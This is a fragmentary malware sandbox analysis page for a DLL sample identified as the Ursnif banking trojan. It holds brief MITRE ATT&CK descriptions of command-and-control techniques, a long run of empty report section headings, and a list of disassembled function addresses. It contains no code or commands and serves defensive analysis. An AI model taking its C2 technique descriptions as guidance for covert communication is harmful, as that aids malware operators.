Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report 0204.gif.dll

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: Ursnif

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Exports

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Code Manipulations

Statistics

Function 017312D4, Relevance: 34.7, APIs: 23, Instructions: 222
memoryfiletimeCOMMON

Function 1000102F, Relevance: 13.6, APIs: 9, Instructions: 81
filetimeCOMMON

Function 0173269C, Relevance: 12.1, APIs: 8, Instructions: 102
memoryCOMMON

Function 017383B7, Relevance: 10.6, APIs: 7, Instructions: 81
nativeCOMMON

Function 10001EB5, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70
nativeCOMMON

Function 016C348F, Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 367
memoryCOMMONCrypto

Function 10001745, Relevance: 3.1, APIs: 2, Instructions: 92
libraryloaderCOMMON

Function 10001D9F, Relevance: 1.5, APIs: 1, Instructions: 34
nativeCOMMON

Function 01738B94, Relevance: 33.2, APIs: 22, Instructions: 245
memorystringCOMMON

Function 0173ADE5, Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 209
libraryCOMMON

Function 01736786, Relevance: 16.6, APIs: 11, Instructions: 150
timememoryCOMMON

Function 1000163F, Relevance: 15.1, APIs: 10, Instructions: 98
threadsleepsynchronizationCOMMON

Function 01731B2F, Relevance: 13.6, APIs: 9, Instructions: 72
filetimeCOMMON

Function 0173924F, Relevance: 10.6, APIs: 7, Instructions: 75
COMMON

Function 10001A0F, Relevance: 9.1, APIs: 6, Instructions: 81
libraryloaderCOMMON

Function 10001AFA, Relevance: 9.1, APIs: 6, Instructions: 71
memoryCOMMON

Function 01736A56, Relevance: 9.1, APIs: 6, Instructions: 60
sleepmemorytimeCOMMON

Function 100012DC, Relevance: 9.0, APIs: 6, Instructions: 32
threadinjectionCOMMON

Function 0173225B, Relevance: 7.7, APIs: 5, Instructions: 159
memoryCOMMON